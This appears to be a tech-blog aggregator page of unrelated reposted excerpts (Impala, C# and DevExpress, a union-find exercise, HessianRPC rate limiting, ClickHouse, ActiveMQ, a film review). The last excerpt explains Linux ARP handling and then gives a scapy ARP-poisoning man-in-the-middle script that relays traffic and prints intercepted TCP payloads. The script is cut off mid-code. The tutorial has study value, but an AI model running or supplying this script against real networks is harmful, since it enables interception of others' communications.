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Impala
...志信息,为产品迭代与服务优化提供精准依据。 此外,业界也涌现了一批围绕Impala进行扩展开发的工具和服务,比如通过Apache Kudu实现动态更新的实时分析场景,以及结合Apache Kylin构建预计算加速查询响应时间的混合架构方案。 不仅如此,随着云原生技术的普及,Impala也开始与Kubernetes等容器编排平台深度融合,以满足更多复杂多变的业务需求。未来,Impala将继续以其高性能和易用性在大规模数据分析领域发挥关键作用,并在技术创新的驱动下不断拓展应用场景,赋能各行各业的数据驱动决策与智能化转型。
2023-07-04 23:40:26
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月下独酌
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 项目中遇到的问题: 1.c开始学习中,创建一个二维数组都费劲,使用java的那种形式会出错。 多维数组:c中无论是几维数组只用一个中括号[]来表示。 //二维数组:int[,] array=new int[3,2];//初始化:int[,] arr = new int[2,3]{ {1,2,3},{4,5,6} }; 与java总类似的int[][]两个中括号的定义是交错数组,相当于一个一维数组的嵌入 //交错数组:后一个中括号中不能有值int[][] arr = new int[2][];//初始化int[][] arr = new int[2][]{new int{1,3,2},new int{4,5,6} }; 对于数组也可以使用循环赋值初始化。 2.项目中前端需要显示数据库中特定值考前的下拉菜单 使用sql语句: 将数据表中的的特定语句放在最前面:方式一:select from [dbo].[CTS_DUTIES] where [DUTIES_ID] ='特定值'union all select from [dbo].[CTS_DUTIES] where [DUTIES_ID] <>'特定值'方式二:select case when [DUTIES_ID] ='特定值' then 0 else 1 end flag, FROM [dbo].[CTS_DUTIES]ORDER BY flag asc 3.在一个下拉列表中选择的是一个树级菜单 使用的控件: 在ASPxDropDownEdit控件中嵌入一个TreeList控件。 <!--js程序--><script type="text/javascript">function ss() {var key = treeListUnit.GetFocusedNodeKey();Panel_call.PerformCallback(key);ASPxItem.HideDropDown();}</script><!--htmlbody中程序--><td><dx:ASPxCallbackPanel ID="ASPxCallbackPanel_call" ClientInstanceName="Panel_call" runat="server" Width="200px" OnCallback="ASPxCallbackPanel_call_Callback"><PanelCollection><dx:PanelContent><dx:ASPxDropDownEdit ID="dropdown_branch" Theme="Moderno" runat="server" Width="170px" EnableAnimation="False"ClientInstanceName="ASPxItem" OnPreRender="ASPxDropDownEdit2_PreRender"><DropDownWindowTemplate><div style="height: 300px; width: 270px; overflow: auto"><dx:ASPxTreeList ID="ASPxTreeList1" runat="server" AutoGenerateColumns="False" Theme="Aqua"ClientInstanceName="treeListUnit"KeyFieldName="MenuId" ParentFieldName="UpperMenuId"><SettingsText LoadingPanelText="正在加载..." /><Styles><AlternatingNode Enabled="True" CssClass="GridViewAlBgColor" /><Header HorizontalAlign="Center" /><%--d8d8d8--%><FocusedNode BackColor="d8d8d8" ForeColor="teal"></FocusedNode></Styles><Columns><dx:TreeListTextColumn Caption="组织架构名称" FieldName="MenuName" VisibleIndex="0"><CellStyle HorizontalAlign="Left"></CellStyle><EditFormSettings VisibleIndex="0" Visible="True" /></dx:TreeListTextColumn></Columns><SettingsLoadingPanel Text="正在加载..." /><Settings SuppressOuterGridLines="True" GridLines="Horizontal" /><SettingsBehavior AllowFocusedNode="True" AutoExpandAllNodes="true" ExpandCollapseAction="NodeDblClick" /><ClientSideEvents NodeDblClick="function(s, e) {ss();}" /><Border BorderStyle="Solid" /></dx:ASPxTreeList></div><div><dx:ASPxHiddenField ID="ASPxHiddenField_orgname" ClientInstanceName="hid_orgname" runat="server"></dx:ASPxHiddenField></div></DropDownWindowTemplate></dx:ASPxDropDownEdit></dx:PanelContent></PanelCollection></dx:ASPxCallbackPanel></td> HiddenField的作用是将数据库中的ID放置在隐藏域,在文本框中显示名称。 //treelist的获取与绑定DataTable dt = comm.SELECT_DATA(string.Format("select from POWER_CONSTRUC_TPERSON where SERIAL_ID='{0}'", edit.Split(',')[0])).Tables[0];ASPxTreeList treeList = (ASPxTreeList)dropdown_branch.FindControl("ASPxTreeList1");treeList.DataSource = org_manager.GetZT_ORGANIZATION();treeList.DataBind();//隐藏域获取以及绑定ASPxHiddenField hidden_org = (ASPxHiddenField)dropdown_branch.FindControl("ASPxHiddenField_orgname");//单位信息hidden_orgperson.UNIT_CODE = hidden_org.Get("hidden_org").ToString(); 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_43357889/article/details/103888475。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-20 18:50:13
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 L2-007 家庭房产 (25 分) 给定每个人的家庭成员和其自己名下的房产,请你统计出每个家庭的人口数、人均房产面积及房产套数。 输入格式: 输入第一行给出一个正整数N(≤1000),随后N行,每行按下列格式给出一个人的房产: 编号 父 母 k 孩子1 ... 孩子k 房产套数 总面积 其中编号是每个人独有的一个4位数的编号;父和母分别是该编号对应的这个人的父母的编号(如果已经过世,则显示-1);k(0≤k≤5)是该人的子女的个数;孩子i是其子女的编号。 输出格式: 首先在第一行输出家庭个数(所有有亲属关系的人都属于同一个家庭)。随后按下列格式输出每个家庭的信息: 家庭成员的最小编号 家庭人口数 人均房产套数 人均房产面积 其中人均值要求保留小数点后3位。家庭信息首先按人均面积降序输出,若有并列,则按成员编号的升序输出。 输入样例: 106666 5551 5552 1 7777 1 1001234 5678 9012 1 0002 2 3008888 -1 -1 0 1 10002468 0001 0004 1 2222 1 5007777 6666 -1 0 2 3003721 -1 -1 1 2333 2 1509012 -1 -1 3 1236 1235 1234 1 1001235 5678 9012 0 1 502222 1236 2468 2 6661 6662 1 3002333 -1 3721 3 6661 6662 6663 1 100 输出样例: 38888 1 1.000 1000.0000001 15 0.600 100.0005551 4 0.750 100.000 include<bits/stdc++.h>using namespace std;struct node{int upset,squ,cnt;node(){cnt = 1;upset = 0;squ = 0;} }s[10005];struct GG{double cnt,upset,squ;int id;};int pre[10005];bool flag[10005]; //刚开始不都是false 如果有出现就true int find(int x){if( x == pre[x])return x;return pre[x] = find(pre[x]);}void merge(int x, int y){int fx = find(x);int fy = find(y);if(fx > fy)pre[fx] = fy;else if(fx < fy)pre[fy] = fx; return;}bool cmp(GG a, GG b){if(a.squ != b.squ)return a.squ > b.squ;else return a.id < b.id; }int main(){int n;scanf("%d", &n);for(int i = 1; i <= 10000; i ++)pre[i] = i;int me, fa, mo, cnt, child;for(int i = 1; i <= n; i ++){scanf("%d %d %d",&me,&fa,&mo);flag[me] = true; if(fa != -1){merge(me, fa);flag[fa] = true;} if(mo != -1){merge(me, mo);flag[mo] = true;} scanf("%d",&cnt);for(int j = 1; j <= cnt; j ++ ){scanf("%d",&child); merge(child, me);flag[child] = true;} scanf("%d %d",&s[me].upset, &s[me].squ);}set<int>st;for(int i = 10000; i >= 0; i--) //这边wa了第四个测试点因为0---10000 我写成1----10000{if(flag[i] == true){int x = find(i);//找到它的祖先st.insert(x);if(x != i){s[x].cnt += s[i].cnt;s[x].squ += s[i].squ;s[x].upset += s[i].upset; } }}set<int>::iterator it = st.begin();vector<GG>vec;while(it!=st.end()){GG gg;gg.id = it;gg.cnt = s[it].cnt;gg.squ =s[it].squ 1.0 / s[it].cnt 1.0;gg.upset = s[it].upset 1.0 / s[it].cnt 1.0;vec.push_back(gg);it++;}sort(vec.begin(),vec.end(),cmp);printf("%d\n",vec.size());for(int i = 0 ; i < vec.size(); i++)printf("%04d %.0lf %.3lf %.3lf\n",vec[i].id, vec[i].cnt,vec[i].upset, vec[i].squ);return 0;} 本篇文章为转载内容。原文链接:https://blog.csdn.net/galesaur_wcy/article/details/88357455。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-09 17:56:42
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HessianRPC
...何限制Hessian服务的调用频率或QPS? 在分布式系统中,HessianRPC作为一种轻量级、高性能的远程服务调用框架被广泛应用。不过,在实际情况里头,我们可能得对服务的呼叫次数或者每秒查问数量(QPS)动手脚,好比调节个阀门,防止一下子涌进来的超高流量把服务给压垮了,甚至闹出崩溃这种大动静。本文将探讨如何实现这一目标,并通过实例代码展示具体操作过程。 1. HessianRPC简介 首先,我们简要回顾一下HessianRPC。这个东西,是Caucho Technology公司精心研发的一种利用HTTP协议的二进制RPC传输技术。说白了,就是一种能让数据以超快的速度进行打包和解包的黑科技,特别适合在微服务架构这种环境下用来远程“召唤”其他服务,效率贼高!但在默认情况下,HessianRPC并不提供对服务调用频率或QPS的直接限制功能。 2. 为何需要限制QPS? 在高并发环境下,服务端如果没有适当的保护措施,可能会因短时间内接收到过多请求而超负荷运转,进而影响系统的稳定性和响应速度。因此,为HessianRPC服务设置合理的QPS限制是保障系统健康运行的重要手段之一。 3. 实现方案 使用RateLimiter进行限流 Google Guava库中的RateLimiter组件可以很好地帮助我们实现QPS的限制。下面是一个使用Guava RateLimiter配合HessianRPC进行限流的示例: java import com.caucho.hessian.client.HessianProxyFactory; import com.google.common.util.concurrent.RateLimiter; public class HessianServiceCaller { private final HessianProxyFactory factory = new HessianProxyFactory(); private final RateLimiter rateLimiter = RateLimiter.create(10); // 每秒最大10个请求 public void callService() { if (rateLimiter.tryAcquire()) { // 尝试获取令牌,成功则执行调用 SomeService service = (SomeService) factory.create(SomeService.class, "http://localhost:8080/someService"); service.someMethod(); // 调用远程方法 } else { System.out.println("调用过于频繁,请稍后再试"); // 获取令牌失败,提示用户限流 } } } 在这个示例中,我们创建了一个RateLimiter实例,设定每秒最多允许10次请求。在打算呼唤Hessian服务之前,咱们先来个“夺令牌大作战”,从RateLimiter那里试试能不能拿到通行证。如果幸运地拿到令牌了,那太棒了,咱们就继续下一步,执行服务调用。但如果不幸没拿到,那就说明现在请求的频率已经超过我们预先设定的安全值啦,这时候只好对这次请求说抱歉,暂时不能让它通过。 4. 进阶策略 结合服务熔断与降级 单纯依赖QPS限制还不够全面,通常还需要结合服务熔断和服务降级机制,例如采用Hystrix等工具来增强系统的韧性。在咱们实际做项目的时候,完全可以按照业务的具体需求,灵活设计些更高级、更复杂的限流方案。比如说,就像“滑动窗口限流”这种方式,就像是给流量装上一个可以灵活移动的挡板;又或者是采用“漏桶算法”,这就如同你拿个桶接水,不管水流多猛,都只能以桶能承受的速度慢慢流出。这样的策略,既实用又能精准控制流量,让我们的系统运行更加稳健。 5. 总结 在面对复杂多变的生产环境时,理解并合理运用HessianRPC的服务调用频率控制至关重要。使用Guava的RateLimiter或者其他的限流神器,我们就能轻松把控服务的每秒请求数(QPS),这样一来,就算流量洪水猛兽般袭来,也能保证咱的服务稳如泰山,不会被冲垮。同时呢,我们也要像鹰一样,始终保持对技术的锐利眼光,瞅准业务的特点和需求,灵活机动地挑选并运用那些最适合的限流策略。这样一来,咱们就能让整个分布式系统的稳定性和健壮性蹭蹭往上涨,就像给系统注入了满满的活力。
2023-12-08 21:23:59
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追梦人
Spark
...精准的城市管理和公共服务。通过Spark的强大处理能力,该公司能够快速响应城市中的各种突发状况,如交通拥堵或环境污染事件,从而提升居民的生活质量。 除了实际案例,学术界也在持续关注Spark在物联网领域的应用研究。最新的研究论文指出,Spark的DataFrame API和SQL接口为物联网数据的处理和分析提供了极大的便利。通过结构化的数据处理方式,研究人员能够更加高效地挖掘出隐藏在海量数据背后的有价值信息。未来,随着物联网设备数量的不断增加,Spark在这一领域的应用前景将更加广阔。 这些实际案例和研究进展表明,Spark作为一种强大的大数据处理工具,在物联网领域具有巨大的潜力。无论是企业还是科研机构,都在积极利用Spark来应对物联网带来的数据处理挑战。
2025-01-06 16:12:37
72
灵动之光
Mahout
...大提高了其个性化推荐服务的质量。 同时,在实践层面,阿里巴巴集团近期公开分享了他们在电商推荐场景中优化用户相似度计算的经验。他们发现将用户的社会关系网络、购买行为序列以及商品属性特征等多元信息融合进相似度计算模型,能显著提升推荐效果并带来更好的用户体验。 综上所述,用户相似度计算作为推荐系统的核心技术之一,其理论与实践都在不断演进与发展。除了Mahout等传统工具箱之外,现代推荐系统更需要我们紧跟学术前沿,把握行业动态,灵活运用深度学习、图神经网络等先进手段,以适应愈发复杂多变的用户需求和行为模式。
2023-02-13 08:05:07
87
百转千回
MyBatis
...为重要。近期,随着微服务架构和云原生技术的发展,数据访问层性能优化的需求日益凸显。例如,在Spring Boot 2.5版本中,对JPA懒加载特性的支持更加完善,开发者可以参考这一最新进展来对比分析MyBatis与JPA在实现延迟加载方面的异同。 此外,对于“N+1问题”,一些ORM框架如Hibernate提供了BatchSize、FetchGraph等策略进行有效规避,这些解决方案同样适用于MyBatis用户借鉴。通过合理设置批处理大小或利用预先定义的抓取图(Fetch Plan),可以在保持延迟加载优势的同时,避免大量小查询带来的性能损失。 另外,数据库层面的优化也是解决数据访问性能的关键一环。例如,MySQL 8.0引入了新的JSON功能和窗口函数,使得在处理复杂关联查询时能更高效地获取所需数据,从而减轻应用程序层面的延迟加载压力。 综上所述,尽管MyBatis的延迟加载功能为开发者提供了便捷高效的手段,但在实际项目中,还需要结合最新的数据库技术动态以及具体的业务场景,灵活运用多种优化策略以达到最佳的数据访问效率。
2023-07-28 22:08:31
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夜色朦胧_
NodeJS
...ocess对象进行微服务间的高效通信,尤其是在Kubernetes集群环境下,通过巧妙结合process.send()和process.on('message')实现容器间的消息传递,极大地提升了系统的扩展性和维护性。 另一篇来自《Node.js官方博客》的最新更新提到,Node.js v16.x版本对process API进行了多项改进和优化,其中包括增强了process.hrtime()方法以提供更精确的高分辨率时间测量,这对性能敏感型应用和微秒级计时需求至关重要。 此外,Stack Overflow上的热门问答中,一位资深开发者分享了如何通过process.nextTick()与Promise配合,解决Node.js中的异步回调地狱问题,这一实践有助于我们更好地理解process对象在Node.js异步编程模型中的核心地位。 与此同时,一本名为《Mastering Node.js Process Management》的新书出版,作者深入剖析了process对象的各个属性和方法,辅以丰富的实战案例,旨在帮助开发者全面掌握Node.js进程管理的技巧,从而提升应用的稳定性和性能表现。 综上所述,持续关注和深入学习关于Node.js process全局对象的相关知识和技术动态,无疑将有力推动我们在Node.js开发领域的专业成长与项目实施的成功率。
2024-03-22 10:37:33
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人生如戏
Mongo
...全球分布式多云数据库服务,提供了自动分片、读写分离以及实时备份等高级功能,进一步强化了MongoDB在高并发环境下的性能表现和数据一致性保障。 值得注意的是,业界对于NoSQL数据库如何平衡扩展性与一致性的探讨从未停止。例如,CAP理论(Consistency, Availability, Partition Tolerance)为我们理解分布式系统中的权衡提供了理论基础。而诸如“最终一致性”、“因果一致性”等一致性模型的实践应用,也为解决多用户写入场景下的数据一致性问题提供了新的思路和解决方案。 此外,现代数据库设计也在借鉴传统关系型数据库的成熟经验,结合NoSQL的优势进行创新。乐观锁、悲观锁之外,还有如基于版本向量的并发控制策略在一些新型数据库系统中得到应用,这些都为应对高并发挑战提供了更多元化的方法论。 综上所述,深入理解和掌握MongoDB及其他数据库系统在并发控制方面的机制与策略,不仅有助于提升现有系统的性能与可靠性,也为未来构建更加高效、稳定的分布式应用打下了坚实的基础。
2023-06-24 13:49:52
71
人生如戏
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2023-03-31 12:34:25
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Scala
...于企业级应用和Web服务同样构成威胁。例如,某知名社交媒体平台曾报告过一起利用Unicode同形异义字符进行的攻击事件,导致部分用户账户信息泄露。这起事件引发了业界对URL安全性的广泛关注,各大科技公司纷纷加强了对输入验证和异常处理机制的审查,以防止类似事件再次发生。 此外,随着区块链技术和加密货币的普及,与之相关的URL安全问题也日益凸显。黑客常常利用复杂的URL构造,诱导用户访问恶意网站,盗取加密货币钱包的私钥。为此,许多加密货币钱包服务商开始引入更高级别的身份验证机制,并加强对URL的过滤和监控,以保护用户的资产安全。 在防范这类新型攻击方面,除了依赖技术手段外,用户自身的安全意识同样重要。专家建议,用户在点击任何链接前,应仔细检查URL的拼写和格式,尽量避免访问来源不明的网站。同时,定期更新操作系统和浏览器,安装最新的安全补丁,也是抵御此类攻击的有效措施之一。对于开发者而言,不仅要关注基础的URL格式校验,还需加强对异常字符和恶意链接的检测能力,确保应用程序在面对复杂攻击时依然能够保持稳定和安全。
2024-12-19 15:45:26
23
素颜如水
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 昨天看了这部片子,感觉一般,但还是一部可看的片子,不闷。 女杀手失忆之前挺酷的,之后感觉太柔弱了。 三个男主角都不错,不过方中信的形象应该更强悍一些才好,而千叶真一象极了邻居家的老大伯。 《孙子兵法》第六计 虚实计 …… 攻而必取者,攻其所不守也。 守而必固者,守其所必攻也。 故善攻者,敌不知其所守; 善守者,敌不知其所攻。 …… 进而不可御者,冲其虚也; 退而不可追者,速而不可及也。 故我欲战,敌虽高垒深沟,不得不与我战者,攻其所必救也; 我不欲战,虽画地而守之,敌不得与我战者,乖其所之也。 故形人而我无形,则我专而敌分。 …… 附录: 中文名称:第六计 英文名称:Explosive City 资源类型:DVDScr 发行时间:2004年11月04日 电影导演:梁德森 电影演员: 任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 地区:香港 语言:普通话 简介: 转自TLF论坛 片名:Explosive City 译名:第六计(又名爆裂都市) 导演:梁德森 主演:任达华 方中信 千叶真一 白田久子 彭敬慈 萧正楠 时间:90分钟 类型:动作 上映日期:2004-11-4 官方网站:http://www.bakuretsu.jp/ 语言:国语 字幕:外挂中/英 剧情: (转自世纪环球在线) 某国际机场,来参加国际会议的邻埠高级官员容大刚正在与众多记者畅谈参会感 想,突然,一个神情冷漠的美貌女子从人群中闪出,只见她拔出手枪,对准容大刚连 开三枪,场内一片大乱。 机场刺杀案引起了警方极大的震惊,派来高级警务人员姚天明(方中信饰)协助 特警队张志诚(任达华饰)警司侦破此案。经过排查,行刺者是某国际恐怖组织的成员, 名叫北条真理(白田久子饰)。材料显示:北条真理生于日本的一个幸福的家庭,三 岁时被某国际恐怖组织首领“奥多桑”(千叶真一饰)看中,把她掳走,通过洗脑、 训练,使她成为恐怖组织的高级杀手。这次行动,她以记者身份潜入机场,射伤了目 标,自己也因此受伤被俘。 就在警方全力破案的同时,某国际恐怖组织的首领“奥多桑”带领部下悄悄潜入 该城,显然,他对上一次行的刺杀行动很不满意,准备亲自上阵了。在他的指挥下, 恐怖分子残忍的杀死了姚天明的太太,并绑架了他的儿子,借此要挟姚天明杀死北条 真理,姚天明在万般无奈中,执行了“奥多桑”的命令,“击毙”、劫持了北条真理, 一步步走进“奥多桑”精心设下的圈套,并因此被警方通缉。 姚天明一边躲避着警方的追捕,一边苦苦寻找“奥多桑”的足迹,寻机解救被绑 架的儿子;幸免于难的北条真理与姚天明从对立变成唇齿相依;在追击中渐渐恢复了 记忆,认出了“奥多桑”安插在警务队伍中的亲信——张志诚警司;令他们百思不得 其解的是,张警司本身就是负责保护容大刚的警卫人员,由他执行刺杀活动,不是更 稳妥吗?为什麼还要派遣北条真理进行明目张胆的刺杀活动?随着事态的发展,无意 中,姚天明在“奥多桑”钟爱的《孙子兵法》一书中发现了更大的秘密——可怕的第 六计…… 转载于:https://www.cnblogs.com/Silence/archive/2004/11/08/61332.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30240349/article/details/98266532。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-05-10 09:20:27
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PostgreSQL
...业务中断问题,确保了服务的连续性和稳定性。
2023-06-04 17:45:07
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桃李春风一杯酒_
ClickHouse
...ClickHouse服务账户没有足够的权限访问该文件。 sql CREATE TABLE external_table (event Date, id Int64) ENGINE = File(Parquet, '/path/to/your/file.parquet'); SELECT FROM external_table; -- Access to file denied 3.2 解决方案 首先,我们需要确认ClickHouse服务运行账户对目标文件或目录拥有读取权限。可以通过更改文件或目录的所有权或修改访问权限来实现: bash sudo chown -R clickhouse:clickhouse /path/to/your/file.parquet sudo chmod -R 750 /path/to/your/file.parquet 这里,“clickhouse”是ClickHouse服务默认使用的系统账户名,您需要将其替换为您的实际环境下的账户名。对了,你知道吗?这个“750”啊,就像是个门锁密码一样,代表着一种常见的权限分配方式。具体来说呢,就是文件的所有者,相当于家的主人,拥有全部权限——想读就读,想写就写,还能执行操作;同组的其他用户呢,就好比是家人或者室友,他们能读取文件内容,也能执行相关的操作,但就不能随意修改了;而那些不属于这个组的其他用户呢,就像是门外的访客,对于这个文件来说,那可是一点权限都没有,完全进不去。 4. 文件不存在的问题及其解决策略 4.1 问题描述 当我们在创建外部表时指定的文件路径无效或者文件已被删除时,尝试从该表查询数据会返回“File not found”的错误。 sql CREATE TABLE missing_file_table (data String) ENGINE = File(TSV, '/nonexistent/path/file.tsv'); SELECT FROM missing_file_table; -- File not found 4.2 解决方案 针对此类问题,我们的首要任务是确保指定的文件路径是存在的并且文件内容有效。若文件确实已被移除,那么重新生成或恢复文件是最直接的解决办法。另外,你还可以琢磨一下在ClickHouse的配置里头开启自动监控和重试功能,这样一来,万一碰到文件临时抽风、没法用的情况,它就能自己动手解决问题了。 另外,对于周期性更新的外部数据源,推荐结合ALTER TABLE ... UPDATE语句或MaterializeMySQL等引擎动态更新外部表的数据源路径。 sql -- 假设新文件已经生成,只需更新表结构即可 ALTER TABLE missing_file_table MODIFY SETTING path = '/new/existing/path/file.tsv'; 5. 结论与思考 在使用ClickHouse外部表的过程中,理解并妥善处理文件系统权限和文件状态问题是至关重要的。只有当数据能够被安全、稳定地访问,才能充分发挥ClickHouse在大数据分析领域的强大效能。这也正好敲响我们的小闹钟,在我们捣鼓数据架构和运维流程的设计时,千万不能忘了把权限控制和数据完整性这两块大骨头放进思考篮子里。这样一来,咱们才能稳稳当当地保障整个数据链路健健康康地运转起来。
2023-09-29 09:56:06
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落叶归根
ActiveMQ
...待时间过长,甚至出现服务不可用的情况。因此,了解并掌握如何监控这些性能指标是非常必要的。 2. 消息堆积与延迟 它们是什么? 首先,让我们来了解一下消息堆积和延迟这两个概念。 - 消息堆积:指的是消息从生产者发送到消费者接收之间的时间差变大,导致队列中的消息数量不断增加。这种情况通常发生在消费者的处理能力不足以应对生产者的发送速率时。 - 延迟:是指消息从生产者发送到消费者接收到这条消息之间的总时间。延迟包括了网络传输时间、处理时间和队列等待时间等。 想象一下,如果你正在等公交车,而公交车却迟迟不来(消息堆积),或者虽然来了但你需要等很长时间才能上车(延迟),这肯定会让你感到沮丧。这就跟分布式系统里的事儿一样,要是消费者手慢点,消息堆积起来,整个系统就得遭殃,性能直线下降。 3. 如何监控消费者性能? 现在我们知道了消息堆积和延迟的重要性,那么接下来的问题就是:如何有效地监控它们呢? 3.1 使用JMX监控 ActiveMQ提供了Java Management Extensions (JMX) 接口,允许我们通过编程方式访问和管理其内部状态。这里有一个简单的例子,展示如何使用JMX来获取当前队列中的消息堆积情况: java import javax.management.MBeanServer; import javax.management.ObjectName; import java.lang.management.ManagementFactory; public class ActiveMQMonitor { public static void main(String[] args) throws Exception { MBeanServer mbs = ManagementFactory.getPlatformMBeanServer(); ObjectName name = new ObjectName("org.apache.activemq:type=Broker,brokerName=localhost"); // 获取队列名称 String queueName = "YourQueueName"; ObjectName queueNameObj = new ObjectName("org.apache.activemq:type=Queue,destinationName=" + queueName); // 获取消息堆积数 Integer messageCount = (Integer) mbs.getAttribute(queueNameObj, "EnqueueCount"); System.out.println("Current Enqueue Count for Queue: " + queueName + " is " + messageCount); } } 3.2 日志分析 除了直接通过API访问数据外,我们还可以通过分析ActiveMQ的日志文件来间接监控消费者性能。比如说,我们可以通过翻看日志里的那些报错和警告信息,揪出隐藏的问题,然后赶紧采取行动来优化一下。 4. 优化策略 既然我们已经掌握了如何监控消费者性能,那么接下来就需要考虑如何优化它了。下面是一些常见的优化策略: - 增加消费者数量:当发现消息堆积时,可以考虑增加更多的消费者来分担工作量。 - 优化消费者逻辑:检查消费者处理消息的逻辑,确保没有不必要的计算或等待,尽可能提高处理效率。 - 调整消息持久化策略:根据业务需求选择合适的消息持久化级别,既保证数据安全又不过度消耗资源。 5. 结语 持续改进 监控消费者性能是一个持续的过程。随着系统的不断演进,新的挑战也会随之而来。因此,我们需要保持灵活性,随时准备调整我们的监控策略和技术手段。希望这篇文章能给你带来一些启示,让你在面对类似问题时更加从容不迫! --- 好了,以上就是我对于“监控消费者性能:消息堆积与延迟分析”的全部分享。希望能给你一些启发,让你的项目变得更高效、更稳当!要是你有任何问题或者想深入了解啥的,尽管留言,咱们一起聊一聊。
2024-10-30 15:36:10
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山涧溪流
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...,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。 其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = 